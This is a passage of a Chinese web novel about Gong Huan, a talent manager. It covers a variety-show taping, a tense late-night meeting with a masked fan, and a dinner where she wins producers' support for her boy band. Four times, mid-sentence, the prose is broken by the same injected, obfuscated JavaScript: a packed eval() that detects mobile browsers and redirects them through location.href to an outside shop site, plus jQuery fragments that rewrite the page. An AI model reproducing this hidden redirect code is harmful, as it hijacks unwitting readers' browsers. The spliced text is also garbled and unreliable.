宫欢意外地看了眼旁边的素人妹妹,本来以为她是个来凑热闹补人数的围观群众——这类艺人在节目里通常都是来衬托其他腕的,个个都非常有眼色,没想到这妹妹还挺有脾气。 她扎着斜麻花辫,白裙,蛮素净的一个人,是内娱最中意的那款清纯小白花。 没想到也是会刺人的。 搞笑艺人被怼了这么一句,默默熄了火,老老实实去插科打诨聊天了。 宫欢刚泡好了两壶茶,放在托盘里给两边的艺人端过去。 轮到夏信那边时,宫欢刚把茶壶放下,他就撇撇嘴,不甘心地想再挣回点面子:“这茶这么烫,茶叶的味道都被烫没了,怎么喝啊。” 宫欢原本要走的动作停了停,慢慢弯下腰,出乎意料地没发脾气,而是笑眯眯的:“哦,是我大意了,忘了把水冷一冷再给您端过来,不过没关系——” 说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126313|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宫欢掀开玻璃茶盖,凑近朝茶壶内部不停吹气,非常贴心地用嘴呼呼呼地吹凉茶水。 非常非常不经意地,唾沫飞溅进去几颗,然后她又将刚才用来夹茶叶的夹子放茶水里飞快搅了几圈,茶水一下变得浑浊起来。 宫欢客气地笑:“好啦,这下不烫了,我测过温度的,放心喝吧,啊。” 夏信脸黑一片:“......” 众人看完了全过程,见宫欢站起身,忙低头喝茶: “好喝好喝!我从没喝过这么好喝的茶!” “可不是嘛!” “好喝好喝!” 第一轮泡茶就这么胆战心惊的过去了,第二轮由另外两个艺人将宫欢和甘惊鸿替换下来去泡茶。 两人加入聊天阵营。 宫欢嗑着瓜子正听人说那谁和那谁谁的事,吃瓜吃得不亦乐乎,结果下一秒风向一转,箭头全都朝她射来。 “欢姐,前段时间那事,网上传得那么厉害,你们都,都不回应的啊?” 挑起话题的是个二线艺人,显然是剧本里写了让他向宫欢提问,问的时候他甚至有些结巴。 “是啊是啊,不过hyh现在也是官司缠身了吧,网上出了不少他抄袭的原曲视频对比,还牵连了对家的人呢!” 宫欢没有遮掩,配合着众人说:“抄袭是板上钉钉的事了,那是他自己作的,我之前劝过他好多次,一点用都没有。” “有的人要作死你就让他去死吧,劝不住的,他命该如此。” “其实他嗓音条件不错,可惜不珍惜啊,最开始的几首歌都很受欢迎,传唱度很高。” 宫欢爆出更猛的料:“因为那几首歌是他前女友写的啊,没发现那几首歌歌词都是你情我爱的吗?歌词里的视角明显是女方的视角。” 众人吃瓜吃到地方了:“!!前女友!他不是一直说自己单身吗?” 宫欢摆摆手,身体前倾,正是聊到兴头上:“单什么身啊,他跟前女友从高中就谈,我签下做艺人后火了,我说让他低调一点,不要暴露出去恋爱的事情,结果他转头跟人家说分手,还说是我要求的!” 说起这事宫欢就火大,因为恋爱这事不少粉丝追着她骂,要韩雨寒跟她解约,让宫欢不要缠着韩雨寒。 谁缠着谁啊,想起来宫欢就一阵起鸡皮疙瘩。 “卧槽,这么贱xx哔—?” “这也太渣了吧。” “能播吗?” 众人此起彼伏的震惊,一个个交换眼神,互相凑到一块窃窃私语。 这料爆出后,可以算是本期节目最大的一个看点了,其他人那些换角、撞衫的点根本不值一提,在如此大瓜下都弱爆了。 监视器后的王导激动不已,双手紧紧攥着拍摄剧本。 学术界大佬陈老师像是在做人性分析似的,好奇地问宫欢:“我看过很多你的视频,有些鬼畜视频其实已经侵害了你的个人权益,你完全可以去要求他们下架这些视频,赔偿你的损失。” 宫欢喝了口茶,风轻云淡地装: “如果视频不多的话我是打算让他们下架的,但是后来参与的人越来越多,已经到了全民玩梗的地步,我去向谁要求下架视频?人多到我根本无法想象,与其为难自己去折腾,还不如顺水推舟,随波逐流,妥协算了。” 电影学院彭老师不由得赞赏她:“看不出来你是挺豁达的一个人,我之前听过很多风言风语,都说你不好相处,为人高调浮夸。” 宫欢掩饰不住被夸的笑意,捂了下唇:“哎呀哪里哪里,我也就一般吧哈哈哈哈哈哈哈。” 后面的内容基本就是喝茶闲聊家常,偶尔哪个人装装逼。 年长的说说过往的光辉事迹,年轻的说说当下年轻人面临的困扰,宫欢负责的八卦那趴过去了,负责搞笑的艺人也时不时的玩梗逗乐,让话题不拘束严肃,随时保持轻松氛围。 一期节目将近凌晨4点才彻底结束。 众人离开时互相友好地告别,有的艺人赶行程匆匆离开了。 宫欢不急着走,慢悠悠地晃到节目组里找导演,她来的这趟就是为了节目组。 工作人员们有的熬不住去睡了,有的还要收拾道具布置等等,都在闷头忙碌。 宫欢端着刚泡好的茶,找到了在准备后期制作的王导,她倒了杯茶给人递过去: “王导辛苦辛苦啊,天都要亮了,这期节目怎么样,我提供的爆点到位吗?” 王导是个年近40的中年人,头秃了一半,两只眼睛的眼圈周围全是长期通宵留下的青黑。 他接过茶,笑呵呵地说:“多亏了你啊,帮我解决不少麻烦,那个夏信差点就耽误我们的事儿,不过爆点......你那些话我可真剪不掉啊,剪的话就牵连太多人了。” 宫欢满不在乎:“随你播,随你剪,我既然说出来就不怕那些的。” 说着她话音一转:“诶,你看咱们也好久没聚聚了,您最近有没有什么节目在筹备啊,我这准备推出个男团呢,您看看有没有合适的节目帮忙推荐推荐?” 宫欢这回本就是卖了个人情过来,王导想着什么时候还,她这么一说,仔细想了想:“节目嘛,我得想想,这样,你先去休息,明天晚上吃顿饭好好聊聊。” 宫欢顿时喜笑颜开,黑漆漆的夜里,愣是笑得明艳动人:“那就等您好消息咯。” 23. 私生粉 录制节目的时间持续了很久,一些艺人离开时粉丝们也跟着散了,只有少数舍不得离开。 一直等待着自家哥哥/姐姐离开,追上去说句晚安再见,得到关注的一眼或是一两句安慰便能拂去所有等待的疲惫。 道路两边的灯光一一熄灭,只有不甚明亮的几盏路灯,朦胧昏暗的投下几缕浅浅的光线,照明不足,氛围有余。 宫欢走出来时,觉得眼前霎时一黑。 录节目那会开了一堆灯光,光多的都能亮瞎眼睛,猛一走出来忽然不适应。 高姐原本要等她录完节目一起走,节目中途被宫欢赶回酒店休息。 以至于,宫欢这会儿只能站在原地,等眼睛适应黑暗后才能继续往前走。 路边的警戒线撤了下来,散落在地上被风吹得零落摇摆,下午来的时候人群熙熙攘攘,这会儿却空荡荡的,反差明显。 宫欢适应得差不多了,昼夜温差大,这会儿被风吹得有点冷,准备找车回酒店。 她慢悠悠地往前走着,准备拿出手机打车。 这时,附近传来一句轻声的呼唤:“宫欢。” 宫欢下意识回过头去,声音的来源处距离她不远——仍然带着口罩鸭舌帽,黑漆漆的一团与夜色融为一体,不仔细辨认几乎看不出来路边有个人。 是,下午的那个粉丝。 他还没走? 宫欢一时间怔愣在原地,不知道要做出什么反应。 他坐在路边的台阶上,手里还拿着“欢欢打爆全场”的牌子,大概亮灯太久,爆字断断续续的闪烁着。 他抬起头,眼眸在浓黑的夜里模糊了底色,幽深的瞳光却还是能让人一眼辨认出来。 见宫欢一直愣愣地看他,奚亭云撑起身体站起来,拍拍身后的碎土。 他在这等了很久,还以为宫欢坐了谁的车一起离开,还好没有错过。 奚亭云站直身体,看宫欢还愣着,不由得弯了弯眼,几不可闻地溢出声轻笑,准备慢慢靠近和她说些话。 但没想到,他刚站起来,宫欢就猛地往后退了几步。 很戒备地,试探地看着他,她身体下意识缩着,像是随时准备藏起来。 奚亭云这才注意到周围的环境。 路灯的照明等同于无,附近没有一个人了,只有一个全副武装带着黑帽黑口罩,一身黑衣服的人,和她。 他止住要靠近的脚步,远远地站着,尽可能放轻语调:“抱歉,我不知道你是一个人出来。” 宫欢的手已经伸到背后的包包里了,里面放着辣椒喷雾。白天对粉丝身份的惊讶现在全部转换成了防备。 这么晚了,还等在这。 一般粉丝都会想让自家哥哥姐姐记住自己,得到特殊的待遇,可这个人却捂这么严实,像是生怕被人记住。 宫欢看过一些他在粉丝群里的聊天内容,是个比较有理智头脑,懂舆论公关操作的一个人。 之前她一直以为大粉是女孩子,才会毫无防备地语气亲昵,结果忽然换成个男的,这种差别冲击令她一时半会还没缓过来,都不知道找谁要精神损失费。 而在这么昏暗危险的环境里,他仿佛一直等待她。 这种等待带给宫欢的不是欣慰、惊喜,而是惊吓。 他的天然身份是一个男性,而宫欢的意识里第一个念头是危险。 除开所有身份,一个男性出现在无人深夜的路边,专门蹲你。 自然而然的,宫欢怀疑他是私生粉。 她不是没见过私生粉,也处理过不少,但没想到有一天会轮到自己撞上。 “你为什么还等在这?”宫欢一只手紧紧攥着辣椒喷雾,另一只手摸着手机打开拨号盘准备拨号,“这么晚还不走吗?” 奚亭云听出她声音里的紧张,忙举起手,以示清白地解释:“你别害怕,我不过去。” 宫欢忍不住怼他,语气委屈且愤恨:“你大半夜蹲路边等我,穿一身黑不拉几的我能不害怕吗?” 奚亭云实在无奈,明明只是想给她留下深刻的印象,结果适得其反。 但是,她一个人也太危险了。 高姐为什么没陪在旁边,总是该在的时候不在,不该在的时候无处不在。 他只得放软声音,半蹲下身,举着手像是投降:“那你要怎么相信我不会伤害你?超话数据,打榜数据,粉丝等级,数据组群主、粉丝后援会身份,这些能证明我没有恶意吗?” 宫欢果断出声:“不能!那只能证明你对我蓄谋已久!不安好心!” 奚亭云被噎得无话可说。 他确实抱有这些心思。 “我只是想你早点回去休息,录制节目很晚了,一直看不到你出来。”奚亭云尽量平静地说。 宫欢半信半疑地看他,手机上打的车快要开来了。 她又歪头看了看这人,有些过分地要求道:“那你把口罩摘了,帽子也摘掉让我看看长什么样,连脸都不敢露,一点都没诚意。” 奚亭云顿了顿,“暂时还不行。” 宫欢纳闷:“暂时是几个小时?” 他费尽脑力地编出个借口:“......我之前长得不太好看,所以去整了容,现在还在恢复期。” “……”宫欢默了默,“真的假的?” 奚亭云很诚恳地说:“真的。” 宫欢还是不信,她才没那么好糊弄。正好网约车到了,正打着双闪停在路边。 她说:“那你双手举高点转过去,我就信。” 奚亭云眼角余光看见了远处打着双闪的车,明知道她在骗他,却还是只能照做。 他半蹲着身体转过去,两手举得高高的,其中一只手还抓着电子举牌,背上背着个斜挎单肩包。 鬼知道他那包里藏了多少危险物品,宫欢悄悄后退着。 “保持住......对,很好,继续保持。” 宫欢安抚着他,怕男人突然做出什么举动,步子一点点往后偷偷挪动,在拉开很长一段距离,确保他没办法抓住她后。 宫欢忽然转身,大步跑向网约车拉开车门整个人横着扑了进去—— “开车!快开车!十万火急!!”她大喊着,关上车门,生怕后面的人追上来。 司机一脸懵逼,也顾不上问,一脚油门轰到底,车一下窜出去。 宫欢心跳得极快,像是死里逃生似的,躺在后排车座上气喘吁吁。 过了会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126314|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她慢慢爬起来,靠到车窗边,夜风灌进车内瞬间吹乱了长发,她忍不住将脑袋探出窗外去往回看。 深沉的夜色下,远远地,那个人转过身,白皙的手拉下了口罩,扯掉了鸭舌帽,一直望着她离开的方向。 距离越来越远,车外景物飞速倒退,宫欢感觉到心脏还在噗通噗通狂跳,她只能隐约地看见那边有白糊糊的一张脸。 不是说恢复期吗?皮肤好像还挺白。 想不明白,宫欢见他没追上来才安心不少,真是有惊无险。 她坐回车内,脑中思绪很乱,快速地掠过了一遍之前看过的粉丝群消息,又想到自己之前的评论—— 宫欢瞬间想抽自己,但又舍不得下手。 要不偷偷删掉那条叫宝宝的评论,应该不会被发现吧。 可是删了又好像显得她很在意似的。 造孽啊!! - 回到酒店,宫欢先去找到高姐的房间,敲开门后,不由分说地进去就是一阵嚎哭: “姐——!我被私生粉追啦!你差点就见不到我了!!” 高姐困倦的神情一扫而空,瞬间严肃起来:“怎么回事?” 宫欢将事情一来二去地说清楚,稍微微地掺杂了一些她如何如何可怜脆弱无助拿着辣椒喷雾,对方如何如何强势凶狠地抱头蹲下道歉。 高姐非常了解宫欢的夸张,她半信半疑道:“你确定他真是私生粉?可之前他什么都没做过,就这次等你录完节目下班,也没要求别的,没做什么,很难判断啊......” 宫欢愤愤地锤了锤床,叫道:“那是伪装!都是伪装!他是会演戏的!” 高姐不由得问:“那他演戏的目的是什么?如果是靠近你的话,他刚才已经做到了,甚至还能更过分,这样就算报警也不好处理啊,他没做出对你实质性的威胁事情。” 宫欢也被问住了,坐在床上盘着腿反复思索。 对啊,他的目的是什么? 后来宫欢实在懒得想了,到酒店时五六点天都要亮了,晚上还要和王导聊男团的事情,她只得回自己的房间。 简单洗漱过后,宫欢打开微博,想看看今天的热搜新闻再去睡。 私信那有几个红点,大概是推送新闻,宫欢刚点过去想直接关掉,发现其中有个对话来自于—— “欢欢打爆全场”。 她指尖游移片刻。 之前给他发红包,她研究半天,还是给人私聊发过去了,所以留下了互相聊天的印记。 聊天框的下排有一行小字,显示对方发来的消息内容:【现在能相信我了吗?】 宫欢对他印象深刻,先是以为是个女孩子,结果是个一米八几的男的,现在又可能是个私生粉。 她咬了咬牙,点进聊天界面,才发现之前给他发的红包没收,退了回来。 本来怨气满满的情绪瞬间被冲散了一半,却又很快烧起来。 ——不图钱,那就是图人啊! 宫欢带着怨气给他发消息: 【不行,测试还没结束。】 什么测试,不知道。就是为了耍他的。 发完消息她将手机丢开,一拉被子盖过头就是睡。 24. 带刺白花 眼睛一闭一睁,再醒来就是隔天的下午。 宫欢爬起来将自己收拾妥当,开始搜这座城市有名的餐厅,为晚上的饭局做准备。 打开手机,微信里许多消息都没看过,她点开男团群,里面三个人发来了每日训练运动的图片,像是打卡似的。 安声:【100个俯卧撑完成!求夸夸!!欢姐欢姐你去哪儿啦,怎么不带我们,好玩吗?】 萧子重;【俯卧撑图片/100个轻轻松,我一只手指头就做过来,那个,我在监督老奚做俯卧撑,他还没做完。】 萧子重发完消息的下一秒,奚亭云发出俯卧撑图片:【完成。】 萧子重:【......】 远在别墅的萧子重看见矛盾的两条消息,紧急撤回,又重新发了一条打卡图。 健身房内,萧子重发完消息后,紧跟着给奚亭云打去电话,铃声没响两下,手机那头就接通了,奚亭云的声音传来: “喂?” 萧子重额头满是刚做完运动的汗,一只手搭在腰上,一只手拿着电话:“老奚,你什么时候回来啊,我们撑不了多久了!” 说着,萧子重回头看了眼健身房门口。 安声正用身体死死挡住门外的小助理,也是急得一身汗。 小助理十分严谨:“拦着我干嘛呀,我还要检查奚亭云的运动量达不达标。” 安声身体就像焊在门上,脑袋转了两圈:“我们监督着呢,你尽管放心……啊!我感觉运动过量了,身上一点力气都没有了。” 他可怜兮兮地看向小助理。 小助理长期跟着高姐,早就锻炼出来不为所动这招,“那你坐着休息会吧,我来监督他。” “不行!现在还不能进去!”安声果断拒绝。 “为什么不行?”小助理狐疑地看他,“难道......你们......” 眼见要瞒不下去了,安声灵机一动,撑起身体假装要让开:“好吧,那你进来吧——” 小助理将要走进健身房的门,萧子重的神经一下绷到了极致,话都说不利索。 没想到下一秒,安声身子一歪,踉跄着像是要摔倒。 小助理伸手扶了他一下,安声竟就直接把重量压在小助理肩头,整个人没骨头似的靠着她。 小助理有些嫌弃他一身汗味:“你站直了。” 安声俯身把脸凑过去,放大的脸对着小助理,眨巴两下眼睛,嘴角的梨涡若隐若现,声音也放软了: “助理姐姐,我运动过量了,腿好软啊,可不可以扶我去大厅休息一下啊,顺便再帮我倒杯水......求求你了。” 他眉头眼尾下压,看着一副可怜小狗的样。 安声把在夜店学来的招数用得淋漓尽致,说着还哼哼两声撒娇。 小助理纵然见多了大场面,但有个这么会撒娇的还是扛不住,只好又嫌弃又诚实地扶着他往客厅走。 临走前,安声空出的手伸向背后,朝萧子重比了个大拇指。 稳了! 拿着电话汇报军情的萧子重深感痛心:“......你知不知道兄弟们为了你都做到了什么地步!卖身求荣卧薪尝胆!” 奚亭云刚走出酒店,只带了鸭舌帽,安抚道:“今晚一定回去,放心,再帮我抗会。” 简单聊过几句后他挂断电话。 昨晚宫欢离开后,他在原地待了会,找了家酒店临时住了一晚。他不确定宫欢今天是否还要录制节目,所以一直没离开。 这样做风险是很大的。 但是昨天的情况太意外了,他实在是没想到会弄巧成拙,本想刷个脸熟,顺势聊几句话加深一下他粉头的印象,没想到让她有了害怕戒备的反应。 就像是只猫,进入了应激状态。 他想,宫欢如果还有录制工作的话,最好能解释几句,白天她应该不会抗拒。 但这样就意味着,他不确定宫欢的时间安排,如果她当天回A市,他也必须赶回去及时出现。 不能暴露。 奚亭云不想吓到她。 而且,他现在也不配。 慢慢来,一步一步的。 奚亭云走出酒店,手机切换到微信的页面,点开宫欢的聊天对话框。 他很少和她在手机上单独聊天,除了刚开始安抚他们好好配合的通用话术外,基本没有别的聊天内容。 毕竟很多时候,奚亭云都是直接去当面用脸去刷存在感。 现在只能这么来了。 他微微吸了口气,屏住呼吸打出几个字:【你今天回来吗?】 发完消息后他才敢呼吸,吞咽紧张的唾液,等待宫欢回复。 另一边。 宫欢已经穿戴完毕,装扮得体的走出房门,手机传来短讯声。 她拿起手机解锁屏幕,一个头像为纯白图片的消息框蹦出来,备注为奚亭云。 她看了看消息:【晚点回去,怎么了?】 问出这话时,她心里不自觉就带了点担忧。 在宫欢看来,三人里奚亭云是属于最弱势的那个,出身,经验,都无疑是最低层的。 她总是会关注他适不适应环境,个人心理负担会不会过重,以免影响男团和谐。 奚亭云;【没事,就是问一下你大概几点回来,最近的训练成果.......要检查吗?】 宫欢:【晚上和一个导演有饭局,跟他们聊聊你们初舞台的事情,差不多后半夜或者明早回去吧,看看有没有机票。】 奚亭云:【乖巧猫猫表情包.jpg,好,那注意安全。】 看见表情包的一刻,宫欢脚步恰好停在高姐房门外,五官略微别扭了一瞬。 平时奚亭云冷冷淡淡的模样,人安静话不多,偶尔会怪怪的,没想到私底下还有这种可爱表情包,反差怪大的... 没等宫欢细想,高姐的房门打开,她也收拾好了,准备跟宫欢去应酬。 两人沿着走廊进入电梯,宫欢紧跟着又收到了条好友申请。 点开,申请人的ID是一串英文,头像是一副风景图,申请验证的文字内容是:【对赌协议。】 太有分量了。 看见这四个字,宫欢一下清醒过来,马上通过了好友申请。 宫欢跟金主对暗号:【九个零?】 Disa:【最近的风头很盛啊,宫欢,将近一个月了,你打算就靠这些来完成协议吗?】 宫欢给他备注上金主,旁边附带了一个金元宝的符号:【当然不是,这只是开始的造势,后面还要慢慢来的嘛,放长线才能钓大鱼,保证您押宝稳赚不赔,敬请期待哦。】 电梯停在一层。 宫欢收起手机不再多聊,她自会证明自己。 这座城市并不大,最近的五星级酒店就此一家。 因此,奚亭云很轻易的就找到了宫欢,她站在酒店门口,和高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126315|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐等车。 如果一切顺利,他今天是可以光明正大地出现,和宫欢笑着聊天,要她的亲笔签名。 结果到头来还是偷偷摸摸的,倒真像个私生粉了。 直到宫欢上车,奚亭云都只是远远地站着,又一次目送她离开。 像两年前那一次。 - 饭局定在一家中式私人餐厅,没有菜谱,每日菜谱要看这家店主买到什么就会给上什么菜。 宫欢定下位置前发朋友圈问过几个熟人,都推荐这家餐厅。 她早早的到了地方,才下午四五点。 王导发消息说,今晚他会带两个制片人过来,到时候就要看她的本事了。 这么一趟折腾总算没有白费,宫欢坐在私人餐厅的休息处,等待着。 这家餐厅位于一座中式园林,休息处的墙壁上做了中空的菱形框,从框内往外看,暮色渐晚,宫欢难得的享受此刻的惬意。 生日宴过后,她有意无意的给自己加工作量,像个舍不得停下来的陀螺,自行飞速转动。 人只要不给自己时间去细想,就会略过很多难过和不安。 这段时间,光是别墅里的阿姨和助理们私下里都会偶尔说起她,大多是心疼的语气。 “一个女孩子被那些人那么说,谁受的了啊。” “有时候她起来眼睛都是红的,怕是哭了一夜。” “唉,年纪轻轻的,怎么那么招人恨?” 宫欢很多时候想解释,眼睛红是没睡够,招人恨是因为她爱骂人,心气比天高做事又高调。 她也没那么难过,毕竟手里有钱,挨点骂也不是大事。 生日宴之前,她还没这么明确过自己的目标,或许是人生低谷,丢尽了脸面,又出现了个大金主想跟她玩一场真实的人生游戏。 宫欢才燃起决心。 忽悠萧子重他们的那些话不全是假的,她也会抓住机会,努力改变。 思绪在王导等人到来时停止。 餐厅外的园林走廊里传来攀谈的笑声,宫欢收起思绪,闭了闭眼,再睁眼又是那个带着明亮笑意的宫欢。 王导旁边是两位穿着谈吐不俗的制片人,一男一女,男人手里盘着手串,中式的上褂下裤,女人的穿着则就休闲得多,修身宽松的整套运动服。 几人一进来就见宫欢笑眯眯的立在一旁,乖巧礼貌,王导顺势做了介绍: “这位是【妈妈去哪儿了】、【大大叔辈】等好几个节目的制片人,赵哥;还有这位是【反转人生】、【三十六天人生计划】各个节目的制片人李老师,都是业界大佬啊!” 宫欢仰慕的眼神看着两人:“都是大火过的综艺,能见识您两位老师真是荣幸至极!” 几人客套着还没落座,门外走廊传来几声喊叫:“等等我呀王导!这里好绕,我找不到地方了。” 听着是女声,厅外灯光不是特别亮,宫欢疑惑地看了眼王导:“……是还有客人在外面吗?” 王导嗨呀一声,拍了拍发量稀疏的头顶:“她怎么还跟来了。” 正说着,一道白影窜进厅内,裙摆因步伐过快还前后飘晃着,气喘吁吁地刹住脚步,一张素净的脸便撞入宫欢眼中。 这不是…… 甘惊鸿看见宫欢也是一喜,“欢姐!你也在这啊,好巧!”说完扭头一看王导,“王导你走好快,我差点就追不上了。” 录综艺时一起泡茶的素人? 25. 带刺白花 宫欢看不明白这是唱得哪一出,干笑两声:“是挺巧的。” 两位制片人落座,王导拉着宫欢到一边角落躲开甘惊鸿,小声嘀咕着来龙去脉。 “怎么回事啊?”宫欢朝人努努嘴。 “她是我一老朋友的女儿,也不知道着了什么道想做演员,这不一直跑龙套呢,”王导说着发愁,“她爸想让我多给她找点苦活做,把人累走,在我这耗了几个月了。” 宫欢下意识朝那女孩看去,白天她给她留下了点印象,只以为是个来混综艺的十八线网红,没想到还是个演员。 她这才仔细看了看她。 斜麻花辫搭在肩上,无袖的白色长裙衬托着她的气质,脸型是标准的鹅蛋脸,非常讨喜。 细眉桃花眼,下至眼睑偏大,显得眼睛也大了一圈,整体气质偏文静,做出的举动却很接地气。 见宫欢看她,还歪头笑得更好看。 王导扯了扯宫欢衣角,他比她矮一截,放低声音用请求的语气说: “小欢啊,男团的事儿我等下准帮你谈下来,你也顺带帮帮我,反正你是经纪人,多个艺人也不愁多嘛,有什么不好的角色随便给她一个拍就行。” 等等等等! 怎么就要多个艺人了!? 宫欢找艺人多是自己去筛选,找合眼缘且双方能相处得来的人,而且哪怕是自己选的人,到后期火了也会变成另外一个样子。 经纪人是艺人的一张名片、助理、领路人,甚至是贵人,两方最开始就要信任对方,是互利互助,亦师亦友共进退的一种绑定关系。 之前也有一些金主塞人给宫欢带,还有创业初期,宫欢去各家经纪公司应聘经纪人,都有带过不衬眼,处不来的艺人。 艺人不相信她,质疑她的手段,她也嫌弃艺人不听骂,骂不改。 所以后来宫欢才自己成立工作室做独立经纪人,她和艺人都有互相选择的机会,用人不疑疑人不用。 “好啦,等下晚点说,先入席,让两位老师久等了不好。”王导推着两人进入餐桌一同落座。 甘惊鸿被推着摁着坐在最末尾的不起眼位置,“王叔,我——” 王导瞪她一眼,悄声说:“一句话都别吭声,老实吃饭。” 甘惊鸿只好闷头当哑巴。 客人到齐,菜肴一道道上着,宫欢让人拿来红酒和茅台,主动开酒斟酒。 男制片人喝了口茅台,没端架子,很随和地称赞宫欢,说:“宫欢,哈哈哈哈,最近关于她的事可是铺天盖地呀,现在多少人想要流量还要不来呢,运用好了流量那钱来得不比圈里慢。” 王导非常尽力地招呼两位制片吃菜,一直说好话:“这孩子主意最多了,进圈也就两三年吧?就捧火不少人了,自己也大出圈啊。” “我那算什么流量呀,都是负面的,上不了台面,老师们真是太抬举我了,我一个小辈可担不起。” 宫欢顺着王导的话笑笑,倒完酒后坐回原位,圆桌上王导和甘惊鸿坐一边,宫欢则坐在女制片人的另一边。 她平时应酬不少,各种局都沾过,这种局算是比较平常的了。 “听王导说,你想推出个男团组合?” 女制片人吃了两口菜抿了抿红酒,手腕上带着的翡翠玉镯看着就价值不菲,她对宫欢初印象不错,多问了下: “在国内培养男团可不太容易啊,一不小心就闹出绯闻,而且很多人心浮气躁,不值得捧。你之前那个韩雨寒不就是个例子?” 宫欢看见女制片手上的镯子故意睁大眼睛做出被惊艳的样子,夸张地抬手捂住唇: “姐姐您这个手镯是前段时间珠宝展上的那款镇场珠宝吧!我当时一眼就看中了,但是太贵了要两百多万呢,别说,您皮肤白显得这镯子成色更好看了,真是美人衬宝玉~” 女制片人听着直笑:“也还好,看着不错就买下来了。” 宫欢本来离女制片人隔两个座位,她说着挪到临挨着的位置,夸夸妆容,说说皮肤,逗得女制片人咯咯直乐。 女制片人:“难怪那么多人喜欢你,嘴甜又会哄人,网上怎么传出来你那么多黑料的。” “人红是非多嘛~” 宫欢也没冷落旁边的男制片,她茅台红酒切换着来,和人连干一瓶白酒面不改色,中途连王导都连连摆手,宫欢还一个劲的劝酒: “您喝不喝都行,我必须干了这杯!能见着两位大制片人,还是我一直仰慕的两位,我就得喝三杯,六杯!” “天呀,哥您真是千杯不醉,我真是不行,喝不过您,我自甘认罚!” 酒过三巡,宫欢似醉非醉,还没拿到准话,她一只手搭在桌上撑着,一只手托下巴: “唉,其实小妹我心里苦啊,哥哥姐姐你们说说,谁过生日闹得这么人尽皆知,还被自己人背刺一刀,我最讨厌这种背信弃义的人了!养不熟的白眼狼!” 女制片人听着心疼:“也是,你一个女孩子不容易,你刚才说想推出个男团对吗,尽管去做吧,要在哪个节目出面,我帮你打个招呼的事儿。” 宫欢抹了抹不存在的眼泪,扑上去就抱住女制片的胳膊热切地叫姐姐:“呜呜姐姐还得是您心疼我啊——” 旁边的男制片也是个豪迈人,方言是东北调调:“妹子你尽管放心啊,有你哥哥姐姐在,保准让你那个男团出道!就冲你嗝……这份心意!” 一场饭局下来,宫欢多了两个没有血缘关系的哥姐。 王导在一边看懵了。他为人低调,主要是做内容居多,应酬这方面只能走几招,再多的就不行了,属实是佩服宫欢这种社交能人。 角落里,甘惊鸿全程看了下来,眼睛瞪得圆,对宫欢的认知又提升了一个新高度。 本来在录制节目时,前后出的一系列状况被宫欢完美化解,甘惊鸿那时就对她有种钦佩感。 她咬着果汁吸管,有个大胆的想法。 几人其乐融融之时,甘惊鸿噌地站起来,王导一个没留神看住,她就窜到宫欢旁边去了,给几人倒酒毛逐自荐: “我也是第一次看见这么多大人物,既然大家都这么高兴,我来表演个才艺给各位助助兴吧!” 男制片赵哥喝到兴头上,往甘惊鸿那边看了眼,是个漂亮白净小姑娘,乐得不行:“哈哈哈行啊,我就说还差点啥呢,来段你最拿手的!” 宫欢没想到有这插曲,她下意识丢个眼神给王导,王导不知是急的还是喝酒上头,整张脸通红:“你,你!” 制片人都发话了,他们也不好阻拦。 这种场合一旦收不住,很容易往“入圈包养”、“强取豪夺”的路线一去不复返。 一时间,王导急,宫欢傻,都在想怎么挽回场面,尽量不让甘惊鸿出太大风头。 只见当事人像是找到发挥自己的地方—— 甘惊鸿迅速离开圆桌,站在厅内的空地处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126316|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,两手相扣站姿标准,一板一眼地模仿主持人说: “下面我为大家表演一段经典桥段,请欣赏——堕落的人!” 宫欢有种不祥的预感,面前这女孩的表情带着一种正气凛然的呆板,她的表演… 紧接着。 甘惊鸿啪叽坐在地上,不顾白裙的整洁,面色凝重,神情悲戚地颤颤巍巍抬起手,做出一个环抱的动作,仿佛手里抱着个孩子,她抽咽几声: “娃啊,你别睡,别睡,娘一定想办法救你!呜呜啊啊谁来救救我的娃,求求你们了!!” 